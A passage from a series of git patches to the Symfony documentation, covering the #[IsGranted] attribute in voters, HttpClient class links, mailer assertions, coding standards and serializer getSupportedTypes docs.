-Another way to secure one or more controller actions is to use an attribute.
+Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
 In the following example, all controller actions will require the
 ``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
 the ``ROLE_SUPER_ADMIN`` permission:
diff --git a/security/voters.rst b/security/voters.rst
index 0755e17f39d..45b8c196507 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -66,43 +66,72 @@ Setup: Checking for Access in a Controller
 
 Suppose you have a ``Post`` object and you need to decide whether or not the current
 user can *edit* or *view* the object. In your controller, you'll check access with
-code like this::
+code like this:
 
-    // src/Controller/PostController.php
+.. configuration-block::
 
-    // ...
-    class PostController extends AbstractController
-    {
-        #[Route('/posts/{id}', name: 'post_show')]
-        public function show($id): Response
-        {
-            // get a Post object - e.g. query for it
-            $post = ...;
+    .. code-block:: php-attributes
 
+        // src/Controller/PostController.php
+
+        // ...
+        use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+        class PostController extends AbstractController
+        {
+            #[Route('/posts/{id}', name: 'post_show')]
             // check for "view" access: calls all voters
-            $this->denyAccessUnlessGranted('view', $post);
+            #[IsGranted('show', 'post')]
+            public function show(Post $post): Response
+            {
+                // ...
+            }
 
-            // ...
+            #[Route('/posts/{id}/edit', name: 'post_edit')]
+            // check for "edit" access: calls all voters
+            #[IsGranted('edit', 'post')]
+            public function edit(Post $post): Response
+            {
+                // ...
+            }
         }
 
-        #[Route('/posts/{id}/edit', name: 'post_edit')]
-        public function edit($id): Response
+    .. code-block:: php
+
+        // src/Controller/PostController.php
+
+        // ...
+
+        class PostController extends AbstractController
         {
-            // get a Post object - e.g. query for it
-            $post = ...;
+            #[Route('/posts/{id}', name: 'post_show')]
+            public function show(Post $post): Response
+            {
+                // check for "view" access: calls all voters
+                $this->denyAccessUnlessGranted('view', $post);
 
-            // check for "edit" access: calls all voters
-            $this->denyAccessUnlessGranted('edit', $post);
+                // ...
+            }
 
-            // ...
+            #[Route('/posts/{id}/edit', name: 'post_edit')]
+            public function edit(Post $post): Response
+            {
+                // check for "edit" access: calls all voters
+                $this->denyAccessUnlessGranted('edit', $post);
+
+                // ...
+            }
         }
-    }
 
-The ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
+The ``#[IsGranted()]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
 calls out to the "voter" system. Right now, no voters will vote on whether or not
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
 
+.. versionadded:: 6.2
+
+    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+
 Creating the custom Voter
 -------------------------
 
@@ -423,3 +452,35 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
                 // ...
             ;
         };
+
+.. _security-voters-change-message-and-status-code:
+
+Changing the message and status code returned
+---------------------------------------------
+
+By default, the ``#[IsGranted]`` attribute will throw a
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+and return an http **403** status code with **Access Denied** as message.
+
+However, you can change this behavior by specifying the message and status code returned::
+
+    // src/Controller/PostController.php
+
+    // ...
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    class PostController extends AbstractController
+    {
+        #[Route('/posts/{id}', name: 'post_show')]
+        #[IsGranted('show', 'post', 'Post not found', 404)]
+        public function show(Post $post): Response
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    If the status code is different than 403, a
+    :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
+    will be throw instead.

From 5e7f1f79f90d7f9878d98f32130b83bb1e8f61ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 17:38:49 +0200
Subject: [PATCH 4720/7107] Minor tweaks

---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 4ab88239153..5aa8d8125d8 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -476,6 +476,6 @@ However, you can change this behavior by specifying the message and status code
 
 .. tip::
 
-    If the status code is different than 403, a
+    If the status code is different than 403, an
     :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
-    will be throw instead.
+    will be thrown instead.

From d47d1fcf582b5fac9e251170142b84097e7da50a Mon Sep 17 00:00:00 2001
From: Colin O'Dell <colinodell@gmail.com>
Date: Fri, 9 Jun 2023 15:44:33 -0400
Subject: [PATCH 4721/7107] Fix PhpStanExtractor added version

---
 components/property_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 0186e6fbcf1..02421881244 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -442,9 +442,9 @@ information from annotations of properties and methods, such as ``@var``,
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
 
-.. versionadded:: 6.1
+.. versionadded:: 5.4
 
-    The ``PhpStanExtractor`` was introduced in Symfony 6.1.
+    The ``PhpStanExtractor`` was introduced in Symfony 5.4.
 
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~

From 3ec0feefc6c983617594e778be5ecbb5c7f25cc0 Mon Sep 17 00:00:00 2001
From: Abdellah Ramadan <ramadanabdel24@gmail.com>
Date: Sun, 11 Jun 2023 07:18:37 +0100
Subject: [PATCH 4722/7107] Update asset_mapper.rst

update typo at Lazily Importing CSS from a JavaScript File
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ca5c6899e00..4feacfd63fd 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -391,7 +391,7 @@ This *can* work with importmaps, but it should *not* be used for critical CSS
 that needs to be loaded before the page is rendered because the browser
 won't download the CSS until the JavaScript file executed.
 
-However, if you *do* want to lazily-load a CSS file, you an make this work
+However, if you *do* want to lazily-load a CSS file, you can make this work
 by using the ``importmap:require`` command and pointing it at a CSS file.
 
 .. code-block:: terminal

From 335c8cf5ea8548ec3a2b9968c2ea01bf0d345f2b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 1 Mar 2023 21:37:53 +0100
Subject: [PATCH 4723/7107] [HttpClient] Replace a few classes and methods
 occurrences by their source code link

---
 http_client.rst | 93 +++++++++++++++++++++++++++++--------------------
 1 file changed, 55 insertions(+), 38 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index d0c49e7050e..b81934520e9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -738,7 +738,7 @@ original HTTP client::
 
     $client = new RetryableHttpClient(HttpClient::create());
 
-The ``RetryableHttpClient`` uses a
+The :class:`Symfony\\Component\\HttpClient\\RetryableHttpClient` uses a
 :class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface` to
 decide if the request should be retried, and to define the waiting time between
 each retry.
@@ -776,7 +776,8 @@ called when new data is uploaded or downloaded and at least once per second::
     ]);
 
 Any exceptions thrown from the callback will be wrapped in an instance of
-``TransportExceptionInterface`` and will abort the request.
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+and will abort the request.
 
 HTTPS Certificates
 ~~~~~~~~~~~~~~~~~~
@@ -857,9 +858,10 @@ This component supports both the native PHP streams and cURL to make the HTTP
 requests. Although both are interchangeable and provide the same features,
 including concurrent requests, HTTP/2 is only supported when using cURL.
 
-``HttpClient::create()`` selects the cURL transport if the `cURL PHP extension`_
-is enabled and falls back to PHP streams otherwise. If you prefer to select
-the transport explicitly, use the following classes to create the client::
+The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method
+selects the cURL transport if the `cURL PHP extension`_ is enabled and falls
+back to PHP streams otherwise. If you prefer to select the transport
+explicitly, use the following classes to create the client::
 
     use Symfony\Component\HttpClient\CurlHttpClient;
     use Symfony\Component\HttpClient\NativeHttpClient;
@@ -1040,8 +1042,9 @@ following methods::
 Streaming Responses
 ~~~~~~~~~~~~~~~~~~~
 
-Call the ``stream()`` method of the HTTP client to get *chunks* of the
-response sequentially instead of waiting for the entire response::
+Call the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream`
+method to get *chunks* of the response sequentially instead of waiting for the
+entire response::
 
     $url = 'https://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso';
     $response = $client->request('GET', $url);
@@ -1071,8 +1074,7 @@ Canceling Responses
 
 To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
-``cancel()`` method of
-:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`::
+:method:`Symfony\\Contracts\\HttpClient\\ResponseInterface::cancel`::
 
     $response->cancel();
 
@@ -1190,10 +1192,12 @@ If you look again at the snippet above, responses are read in requests' order.
 But maybe the 2nd response came back before the 1st? Fully asynchronous operations
 require being able to deal with the responses in whatever order they come back.
 
-In order to do so, the ``stream()`` method of HTTP clients accepts a list of
-responses to monitor. As mentioned :ref:`previously <http-client-streaming-responses>`,
-this method yields response chunks as they arrive from the network. By replacing
-the "foreach" in the snippet with this one, the code becomes fully async::
+In order to do so, the
+:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream`
+accepts a list of responses to monitor. As mentioned
+:ref:`previously <http-client-streaming-responses>`, this method yields response
+chunks as they arrive from the network. By replacing the "foreach" in the
+snippet with this one, the code becomes fully async::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         if ($chunk->isFirst()) {
@@ -1330,7 +1334,8 @@ installed in your application::
     // this won't hit the network if the resource is already in the cache
     $response = $client->request('GET', 'https://example.com/cacheable-resource');
 
-``CachingHttpClient`` accepts a third argument to set the options of the ``HttpCache``.
+:class:`Symfony\\Component\\HttpClient\\CachingHttpClient`` accepts a third argument
+to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
 Consuming Server-Sent Events
 ----------------------------
@@ -1496,8 +1501,8 @@ it. As such, you should not use it in newly written code. The component is still
 interoperable with libraries that require it thanks to the
 :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to
 :class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17,
-``HttplugClient`` also implements the factory methods defined in the related
-``php-http/message-factory`` package.
+:class:`Symfony\\Component\\HttpClient\\HttplugClient` also implements the factory methods
+defined in the related ``php-http/message-factory`` package.
 
 .. code-block:: terminal
 
@@ -1528,15 +1533,16 @@ that requires HTTPlug dependencies::
         // [...]
     }
 
-Because ``HttplugClient`` implements the three interfaces, you can use it this way::
+Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements the
+three interfaces,you can use it this way::
 
     use Symfony\Component\HttpClient\HttplugClient;
 
     $httpClient = new HttplugClient();
     $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient);
 
-If you'd like to work with promises, ``HttplugClient`` also implements the
-``HttpAsyncClient`` interface. To use it, you need to install the
+If you'd like to work with promises, :class:`Symfony\\Component\\HttpClient\\HttplugClient`
+also implements the ``HttpAsyncClient`` interface. To use it, you need to install the
 ``guzzlehttp/promises`` package:
 
 .. code-block:: terminal
@@ -1716,20 +1722,24 @@ external service. By not making actual HTTP requests there is no need to worry a
 the service being online or the request changing state, for example deleting
 a resource.
 
-``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
-HTTP client in this component. When you type-hint with ``HttpClientInterface``
-your code will accept the real client outside tests, while replacing it with
-``MockHttpClient`` in the test.
+:class:`Symfony\\Component\\HttpClient\\MockHttpClient` implements the
+:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`, just like any actual
+HTTP client in this component. When you type-hint with
+:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface` your code will accept
+the real client outside tests, while replacing it with
+:class:`Symfony\\Component\\HttpClient\\MockHttpClient` in the test.
 
-When the ``request`` method is used on ``MockHttpClient``, it will respond with
-the supplied ``MockResponse``. There are a few ways to use it, as described
-below.
+When the ``request`` method is used on :class:`Symfony\\Component\\HttpClient\\MockHttpClient`,
+it will respond with the supplied
+:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`. There are a few ways to use
+it, as described below.
 
 HTTP Client and Responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The first way of using ``MockHttpClient`` is to pass a list of responses to its
-constructor. These will be yielded in order when requests are made::
+The first way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient`
+is to pass a list of responses to its constructor. These will be yielded
+in order when requests are made::
 
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
@@ -1744,8 +1754,8 @@ constructor. These will be yielded in order when requests are made::
     $response1 = $client->request('...'); // returns $responses[0]
     $response2 = $client->request('...'); // returns $responses[1]
 
-Another way of using ``MockHttpClient`` is to pass a callback that generates the
-responses dynamically when it's called::
+Another way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient` is to
+pass a callback that generates the responses dynamically when it's called::
 
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
@@ -1787,7 +1797,9 @@ assertions on the request before returning the mocked response::
 .. tip::
 
     Instead of using the first argument, you can also set the (list of)
-    responses or callbacks using the ``setResponseFactory()`` method::
+    responses or callbacks using the
+    :method:`Symfony\\Component\\HttpClient\\MockHttpClient::setResponseFactory`
+    method::
 
         $responses = [
             new MockResponse($body1, $info1),
@@ -1799,7 +1811,8 @@ assertions on the request before returning the mocked response::
 
     .. versionadded:: 5.4
 
-        The ``setResponseFactory()`` method was introduced in Symfony 5.4.
+        The :method:`Symfony\\Component\\HttpClient\\MockHttpClient::setResponseFactory`
+        method was introduced in Symfony 5.4.
 
 If you need to test responses with HTTP status codes different than 200,
 define the ``http_code`` option::
@@ -1815,10 +1828,12 @@ define the ``http_code`` option::
     $response = $client->request('...');
 
 The responses provided to the mock client don't have to be instances of
-``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
-``$this->createMock(ResponseInterface::class)``).
+:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`. Any class
+implementing :class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`
+will work (e.g. ``$this->createMock(ResponseInterface::class)``).
 
-However, using ``MockResponse`` allows simulating chunked responses and timeouts::
+However, using :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`
+allows simulating chunked responses and timeouts::
 
     $body = function () {
         yield 'hello';
@@ -1910,7 +1925,8 @@ Then configure Symfony to use your callback:
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 
-The ``MockResponse`` class comes with some helper methods to test the request:
+The :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` class comes
+with some helper methods to test the request:
 
 * ``getRequestMethod()`` - returns the HTTP method;
 * ``getRequestUrl()`` - returns the URL the request would be sent to;
@@ -1919,8 +1935,9 @@ The ``MockResponse`` class comes with some helper methods to test the request:
 
 .. versionadded:: 5.2
 
-    The ``getRequestMethod()`` and ``getRequestUrl()`` methods were introduced
-    in Symfony 5.2.
+    The :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::getRequestMethod`
+    and :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::getRequestUrl`
+    methods were introduced in Symfony 5.2.
 
 Usage example::
 

From 1904ba23eb0a3c2b3422d88077f0b44f26025c11 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Mon, 1 May 2023 12:21:11 +0200
Subject: [PATCH 4724/7107] [Mailer] Add new email testing functions (fixes
 #50200)

---
 testing.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/testing.rst b/testing.rst
index 75b8d791972..7e87f116058 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1034,6 +1034,9 @@ Mailer Assertions
     Asserts that the given address header equals the expected e-mail
     address. This assertion normalizes addresses like ``Jane Smith
     <jane@example.com>`` into ``jane@example.com``.
+``assertEmailSubjectContains(RawMessage $email, string $expectedValue, string $message = '')``/``assertEmailSubjectNotContains(RawMessage $email, string $expectedValue, string $message = '')``
+    Asserts that the subject of the given email does (not) contain the
+    expected subject.
 
 Notifier Assertions
 ...................

From b55fcfb4adf3c339a4e712c964c49a6e43ecc188 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 12 Jun 2023 13:53:00 +0200
Subject: [PATCH 4725/7107] [Console] Call command with options without value

---
 console/command_in_controller.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 887bdeb147d..64475bff103 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -42,6 +42,8 @@ Imagine you want to run the ``debug:twig`` from inside your controller::
                 'fooArgument' => 'barValue',
                 // (optional) pass options to the command
                 '--bar' => 'fooValue',
+                // (optional) pass options without value
+                '--baz' => true,
             ]);
 
             // You can use NullOutput() if you don't need the output
@@ -59,9 +61,10 @@ Imagine you want to run the ``debug:twig`` from inside your controller::
 Showing Colorized Command Output
 --------------------------------
 
-By telling the ``BufferedOutput`` it is decorated via the second parameter,
-it will return the Ansi color-coded content. The `SensioLabs AnsiToHtml converter`_
-can be used to convert this to colorful HTML.
+By telling the :class:`Symfony\\Component\\Console\\Output\\BufferedOutput`
+it is decorated via the second parameter, it will return the Ansi color-coded
+content. The `SensioLabs AnsiToHtml converter`_ can be used to convert this to
+colorful HTML.
 
 First, require the package:
 

From ed6bf81958012267b4df565c4cfa9990c04ab89b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 12 Jun 2023 15:03:54 +0200
Subject: [PATCH 4726/7107] [Standards] Update code guidelines

---
 contributing/code/standards.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 967edb0115e..2668269dfcc 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -190,6 +190,14 @@ Structure
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 
+* Exception, error and deprecation messages containing a class name must
+  use ``get_debug_type()`` instead of ``::class`` to retrieve it:
+
+  .. code-block:: diff
+
+    - throw new \Exception(sprintf('Command "%s" failed.', $command::class));
+    + throw new \Exception(sprintf('Command "%s" failed.', get_debug_type($command)));
+
 * Do not use ``else``, ``elseif``, ``break`` after ``if`` and ``case`` conditions
   which return or throw something;
 

From 76473188c6e70e45b9de1542f0d15122026c57ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Jun 2023 15:54:46 +0200
Subject: [PATCH 4727/7107] Remove an unneeded versionadded directive

---
 components/property_info.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 0008b8b7638..6aa2210a728 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -443,10 +443,6 @@ information from annotations of properties and methods, such as ``@var``,
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
 
-.. versionadded:: 5.4
-
-    The ``PhpStanExtractor`` was introduced in Symfony 5.4.
-
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
 

From 6856b7196f38b662da6ff96aaebfb9111672ae5b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Jun 2023 17:30:56 +0200
Subject: [PATCH 4728/7107] Minor tweaks

---
 forms.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index a78eb2f4fe5..68feeb0af1d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -755,9 +755,9 @@ Set the ``label`` option on fields to define their labels explicitly::
 Changing the Action and HTTP Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, the ``<form>`` tag will be rendered with a ``method="post"`` attribute,
-and no ``action`` attribute, causing it to be submitted via an HTTP POST request to the same
-URL under which it was rendered. When building the form,
+By default, the ``<form>`` tag is rendered with a ``method="post"`` attribute,
+and no ``action`` attribute. This means that the form is submitted via an HTTP
+POST request to the same URL under which it was rendered. When building the form,
 use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     // src/Controller/TaskController.php

From abd50b7b1cc898d85fa66f8b47a357a2e802f732 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Jun 2023 09:18:50 +0200
Subject: [PATCH 4729/7107] [HttpKernel] Deprecate `ContainerAwareInterface`
 and `ContainerAwareTrait`

---
 components/http_kernel.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 067bf17a998..eb6996cbf4b 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -263,6 +263,13 @@ on the request's information.
        is passed to it. This step is also specific to the  :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerResolver`
        sub-class used by the Symfony Framework.
 
+.. deprecated:: 6.4
+
+    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface` and
+    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareTrait` are
+    deprecated since Symfony 6.4. Dependency injection should be used instead to
+    access the service container.
+
 .. _component-http-kernel-kernel-controller:
 
 3) The ``kernel.controller`` Event

From bb584ce4677e2f81a7316d601e668762e373318d Mon Sep 17 00:00:00 2001
From: jeireff <jeireff@gmail.com>
Date: Tue, 13 Jun 2023 13:58:50 +0200
Subject: [PATCH 4730/7107] Update voters.rst

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 5aa8d8125d8..c1e9f61c6a9 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -78,7 +78,7 @@ code like this:
         {
             #[Route('/posts/{id}', name: 'post_show')]
             // check for "view" access: calls all voters
-            #[IsGranted('show', 'post')]
+            #[IsGranted('view', 'post')]
             public function show(Post $post): Response
             {
                 // ...

From b15303f68d3d9fe9310d4e7e223a4f134ba74254 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Tue, 13 Jun 2023 22:20:19 +0200
Subject: [PATCH 4731/7107] Update wording bundles.rst

---
 bundles.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 85e73c01e21..ebfff3cdbfa 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -45,7 +45,7 @@ The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an exampl
 name that should be replaced by some "vendor" name that represents you or your
 organization (e.g. AbcTestBundle for some company named ``Abc``).
 
-Start by adding creating a new class called ``AcmeTestBundle``::
+Start by creating a new class called ``AcmeTestBundle``::
 
     // src/AcmeTestBundle.php
     namespace Acme\TestBundle;

From fa355fd26cbf55d4c7b9763e0b535724a0abc018 Mon Sep 17 00:00:00 2001
From: Maxime Morlet <MaxiCom.Developpement@gmail.com>
Date: Tue, 13 Jun 2023 14:01:07 +0200
Subject: [PATCH 4732/7107] Update security.rst

Typo!
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 95a914cc091..14194fee2ff 100644
--- a/security.rst
+++ b/security.rst
@@ -1819,7 +1819,7 @@ You can logout user programmatically using the ``logout()`` method of the
         }
     }
 
-The user will be logout from the firewall of the request. If the request is
+The user will be logged out from the firewall of the request. If the request is
 not behind a firewall a ``\LogicException`` will be thrown.
 
 Customizing Logout

From 1799a49a79ef7d8f51269cb386cae5f2bb4e5e88 Mon Sep 17 00:00:00 2001
From: Baptiste <pottierbaptiste@gmail.com>
Date: Tue, 13 Jun 2023 10:19:52 +0200
Subject: [PATCH 4733/7107] Update voters.rst

use constant of class and not string (in twig too)
---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 5aa8d8125d8..9b4c2b4027d 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -105,7 +105,7 @@ code like this:
             public function show(Post $post): Response
             {
                 // check for "view" access: calls all voters
-                $this->denyAccessUnlessGranted('view', $post);
+                $this->denyAccessUnlessGranted('PostVoter::VIEW', $post);
 
                 // ...
             }
@@ -114,7 +114,7 @@ code like this:
             public function edit(Post $post): Response
             {
                 // check for "edit" access: calls all voters
-                $this->denyAccessUnlessGranted('edit', $post);
+                $this->denyAccessUnlessGranted(PostVoter::EDIT, $post);
 
                 // ...
             }

From 25a1a9428c087262ebc50bc7ee727d9d95c186d1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Jun 2023 12:28:01 +0200
Subject: [PATCH 4734/7107] Tweaks

---
 security/voters.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 9b4c2b4027d..f738ee7a80e 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -98,6 +98,7 @@ code like this:
         // src/Controller/PostController.php
 
         // ...
+        use App\Security\PostVoter;
 
         class PostController extends AbstractController
         {
@@ -105,7 +106,7 @@ code like this:
             public function show(Post $post): Response
             {
                 // check for "view" access: calls all voters
-                $this->denyAccessUnlessGranted('PostVoter::VIEW', $post);
+                $this->denyAccessUnlessGranted(PostVoter::VIEW, $post);
 
                 // ...
             }

From 599922c542c8ebe21c358162eeb7474215588371 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Jun 2023 12:31:14 +0200
Subject: [PATCH 4735/7107] Backport a fix merged in 6.3

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index f738ee7a80e..286ea9265d9 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -78,7 +78,7 @@ code like this:
         {
             #[Route('/posts/{id}', name: 'post_show')]
             // check for "view" access: calls all voters
-            #[IsGranted('show', 'post')]
+            #[IsGranted('view', 'post')]
             public function show(Post $post): Response
             {
                 // ...

From 524c05d0db769f3cddbffbddc04eb318b66473f4 Mon Sep 17 00:00:00 2001
From: Nathan Dench <ndenc2@gmail.com>
Date: Fri, 9 Jun 2023 15:21:02 +1000
Subject: [PATCH 4736/7107] [Serializer] Document Serializer getSupportedTypes
 method

---
 serializer/custom_normalizer.rst | 46 ++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index bc94772b2a5..0697195311c 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,6 +48,52 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
+Caching the result of supportsNormalization
+-------------------------------------------
+
+.. versionadded:: 6.3
+
+    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
+
+Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` contain a new method ``getSupportedTypes()``.
+This method allows normalizers or denormalizers to declare the type of objects they can handle, and whether they are
+cacheable. With this info, even if the ``supports*()`` call is not cacheable, the Serializer can skip a ton of method calls
+to ``supports*()`` improving performance substantially in some cases.
+
+The ``getSupportedTypes()`` method should return an array where the keys represent the supported types, and the values
+indicate whether the result of the ``supports*()`` method call can be cached or not. The format of the returned array is as
+follows:
+
+- The special key ``object`` can be used to indicate that the normalizer or denormalizer supports any classes or
+  interfaces.
+- The special key ``*`` can be used to indicate that the normalizer or denormalizer might support any types.
+- The other keys in the array should correspond to specific types that the normalizer or denormalizer supports.
+- The values associated with each type should be a boolean indicating if the result of the ``supports*()`` method call for
+  that type can be cached or not. A value of ``true`` means that the result is cacheable, while ``false`` means that the
+  result is not cacheable.
+- A ``null`` value for a type means that the normalizer or denormalizer does not support that type.
+
+Here is an example of how to use the ``getSupportedTypes()`` method::
+
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+
+    class MyNormalizer implements NormalizerInterface
+    {
+        // ...
+
+        public function getSupportedTypes(?string $format): array
+        {
+            return [
+                'object' => null, // Doesn't supports any classes or interfaces
+                '*' => false, // Supports any other types, but the result is not cacheable
+                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
+            ];
+        }
+    }
+
+Note that ``supports*()`` method implementations should not assume that ``getSupportedTypes()`` has been called before.
+
 Registering it in your Application
 ----------------------------------
 

From 9596db66cb1048156d1aaeca5d6ce0e6ed6e8c28 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Jun 2023 12:50:32 +0200
Subject: [PATCH 4737/7107] Tweaks

---
 serializer/custom_normalizer.rst | 101 +++++++++++++++++--------------
 1 file changed, 54 insertions(+), 47 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 0697195311c..0168e0c7447 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,52 +48,6 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
-Caching the result of supportsNormalization
--------------------------------------------
-
-.. versionadded:: 6.3
-
-    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
-
-Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` and
